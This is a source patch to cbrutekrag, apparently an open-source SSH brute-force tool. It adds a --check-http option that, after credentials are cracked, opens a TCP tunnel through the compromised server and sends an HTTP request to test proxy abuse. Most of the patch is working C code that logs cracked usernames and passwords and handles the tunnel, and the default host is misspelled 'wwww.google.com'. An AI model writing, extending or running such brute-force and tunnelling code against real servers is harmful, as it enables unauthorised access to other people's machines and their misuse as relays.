From 4ed0490cc950533ef6e001ccdedc30bade45a272 Mon Sep 17 00:00:00 2001 From: Jorge Matricali Date: Wed, 31 Jul 2024 07:48:52 -0300 Subject: [PATCH] Added: Check TCP Tunnel after successful login (--check-http) --- CHANGELOG.md | 1 + README.md | 1 + src/bruteforce_ssh.c | 131 +++++++++++++++++++++++++++++++++---------- src/cbrutekrag.c | 16 +++++- src/cbrutekrag.h | 1 + src/context.c | 2 + 6 files changed, 122 insertions(+), 30 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6104933..17d7de9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Windows support - Timeout can be specified using --timeout argument. Default: 3 - Separated and customizable scanner output log -F -O (#27) +- --check-http for check TCP Tunnel after successful login ### Changed diff --git a/README.md b/README.md index 7a4cb0f..a792982 100644 --- a/README.md +++ b/README.md @@ -57,6 +57,7 @@ usage: ./cbrutekrag [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C credentials.l -a, --allow-non-openssh Accepts non OpenSSH servers -A, --allow-honeypots Allow servers detected as honeypots --timeout Sets connection timeout (Default: 3) + --check-http Tries to open a TCP Tunnel after successful login ``` ## Example usages diff --git a/src/bruteforce_ssh.c b/src/bruteforce_ssh.c index ddf5adc..dd05ff1 100644 --- a/src/bruteforce_ssh.c +++ b/src/bruteforce_ssh.c @@ -52,52 +52,54 @@ int bruteforce_ssh_login(btkg_context_t *context, const char *hostname, uint16_t port, const char *username, const char *password) { - ssh_session my_ssh_session; + ssh_session session; int verbosity = 0; + btkg_options_t *options = &context->options; - if (context->options.verbose & CBRUTEKRAG_VERBOSE_SSHLIB) { + if (options->verbose & CBRUTEKRAG_VERBOSE_SSHLIB) { verbosity = SSH_LOG_PROTOCOL; } else { verbosity = SSH_LOG_NOLOG; } - my_ssh_session = ssh_new(); + session = ssh_new(); - if (my_ssh_session == NULL) { + if (session == NULL) { log_error("Cant create SSH session."); + return -1; } - ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostname); - ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); - ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &(int){port}); + ssh_options_set(session, SSH_OPTIONS_HOST, hostname); + ssh_options_set(session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); + ssh_options_set(session, SSH_OPTIONS_PORT, &(int){ port }); #if LIBSSH_VERSION_MAYOR > 0 || \ (LIBSSH_VERSION_MAYOR == 0 && LIBSSH_VERSION_MINOR >= 6) - ssh_options_set(my_ssh_session, SSH_OPTIONS_KEY_EXCHANGE, "none"); - ssh_options_set(my_ssh_session, SSH_OPTIONS_HOSTKEYS, "none"); + ssh_options_set(session, SSH_OPTIONS_KEY_EXCHANGE, "none"); + ssh_options_set(session, SSH_OPTIONS_HOSTKEYS, "none"); #endif - ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, - &context->options.timeout); - ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, username); + ssh_options_set(session, SSH_OPTIONS_TIMEOUT, &options->timeout); + ssh_options_set(session, SSH_OPTIONS_USER, username); int r; - r = ssh_connect(my_ssh_session); + r = ssh_connect(session); if (r != SSH_OK) { - if (context->options.verbose & CBRUTEKRAG_VERBOSE_MODE) { + if (options->verbose & CBRUTEKRAG_VERBOSE_MODE) { log_error("[!] Error connecting to %s:%d %s.", hostname, - port, ssh_get_error(my_ssh_session)); + port, ssh_get_error(session)); } - ssh_free(my_ssh_session); + ssh_free(session); + return -1; } - r = ssh_userauth_none(my_ssh_session, NULL); + r = ssh_userauth_none(session, NULL); if (r == SSH_AUTH_SUCCESS) { log_debug("[!] %s:%d - Server without authentication.", hostname, port); - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); + ssh_disconnect(session); + ssh_free(session); return -1; } @@ -106,28 +108,99 @@ int bruteforce_ssh_login(btkg_context_t *context, const char *hostname, log_debug( "[!] %s:%d - ssh_userauth_none(): A serious error happened.", hostname, port); - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); + ssh_disconnect(session); + ssh_free(session); return -1; } - int method = 0; - - method = ssh_userauth_list(my_ssh_session, NULL); + int method = ssh_userauth_list(session, NULL); if (method & (int)SSH_AUTH_METHOD_PASSWORD) { - r = ssh_userauth_password(my_ssh_session, NULL, password); + r = ssh_userauth_password(session, NULL, password); if (r == SSH_AUTH_SUCCESS) { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); + /* Credentials accepted */ + + if (options->check_http != NULL) { + // Open a new channel + ssh_channel channel = ssh_channel_new(session); + if (channel == NULL) { + log_error("Error ssh_channel_new: %s", + ssh_get_error(session)); + ssh_disconnect(session); + ssh_free(session); + + return -2; + } + + // Open a "direct-tcpip" channel to the HTTP server through the SSH server + log_debug("%s:%d %s %s - Opening tunnel...", + hostname, port, username, password); + r = ssh_channel_open_forward( + channel, options->check_http, 80, + "localhost", 0); + if (r != SSH_OK) { + log_error( + "Error ssh_channel_open_forward: %s", + ssh_get_error(session)); + ssh_disconnect(session); + ssh_free(session); + + return -3; + } + + char buffer[1024]; + int nbytes; + + snprintf(buffer, sizeof(buffer), + "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", + options->check_http); + + // Send HTTP request through the channel + r = ssh_channel_write(channel, buffer, + (uint32_t)strlen(buffer)); + if (r == SSH_ERROR) { + log_error("Error ssh_channel_write: %s", + ssh_get_error(session)); + ssh_disconnect(session); + ssh_free(session); + + return -4; + } + + // Read HTTP response from the channel + nbytes = ssh_channel_read(channel, buffer, + sizeof(buffer), 0); + + if (nbytes == 0) { + log_warn( + "%s:%d %s %s - http-check empty response", + hostname, port, username, + password); + ssh_disconnect(session); + ssh_free(session); + + return -6; + } + + if (nbytes < 0) { + log_error("Error ssh_channel_read: %s", + ssh_get_error(session)); + ssh_disconnect(session); + ssh_free(session); + + return -5; + } + } + ssh_disconnect(session); + ssh_free(session); return 0; } } - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); + ssh_disconnect(session); + ssh_free(session); return -1; } diff --git a/src/cbrutekrag.c b/src/cbrutekrag.c index 4e5bbd0..a420e5b 100644 --- a/src/cbrutekrag.c +++ b/src/cbrutekrag.c @@ -22,6 +22,7 @@ SOFTWARE. #include #include +#include #include #include #include @@ -54,6 +55,11 @@ int g_verbose = 0; char *g_output_format = NULL; char *g_scan_output_format = NULL; +#define OPTIONAL_ARGUMENT_IS_PRESENT \ + ((optarg == NULL && optind < argc && argv[optind][0] != '-') ? \ + (bool)(optarg = argv[optind++]) : \ + (optarg != NULL)) + /* Long options for getopt_long */ static struct option long_options[] = { { "help", no_argument, NULL, 'h' }, @@ -72,6 +78,7 @@ static struct option long_options[] = { { "allow-non-openssh", no_argument, NULL, 'a' }, { "allow-honeypots", no_argument, NULL, 'A' }, { "timeout", required_argument, NULL, 11 }, + { "check-http", optional_argument, NULL, 13 }, { NULL, 0, NULL, 0 } }; @@ -255,6 +262,12 @@ int main(int argc, char **argv) } options->timeout = tempint; break; + case 13: + options->check_http = + strdup((!OPTIONAL_ARGUMENT_IS_PRESENT) ? + "wwww.google.com" : + optarg); + break; case 'h': print_banner(); usage(argv[0]); @@ -281,7 +294,8 @@ int main(int argc, char **argv) " \"%%HOSTNAME%%:%%PORT%%\\t%%BANNER%%\\n\"\n" " -a, --allow-non-openssh Accepts non OpenSSH servers\n" " -A, --allow-honeypots Allow servers detected as honeypots\n" - " --timeout Sets connection timeout (Default: 3)\n"); + " --timeout Sets connection timeout (Default: 3)\n" + " --check-http Tries to open a TCP Tunnel after successful login\n"); exit(EXIT_SUCCESS); default: usage(argv[0]); diff --git a/src/cbrutekrag.h b/src/cbrutekrag.h index a76acd9..0a9a62b 100644 --- a/src/cbrutekrag.h +++ b/src/cbrutekrag.h @@ -40,6 +40,7 @@ typedef struct { int perform_scan; int non_openssh; int allow_honeypots; + char *check_http; } btkg_options_t; typedef struct { diff --git a/src/context.c b/src/context.c index 9fe2799..47b8876 100644 --- a/src/context.c +++ b/src/context.c @@ -19,6 +19,7 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ +#include #include "cbrutekrag.h" @@ -43,6 +44,7 @@ void btkg_options_init(btkg_options_t *options) options->perform_scan = 0; options->non_openssh = 0; options->allow_honeypots = 0; + options->check_http = NULL; } /**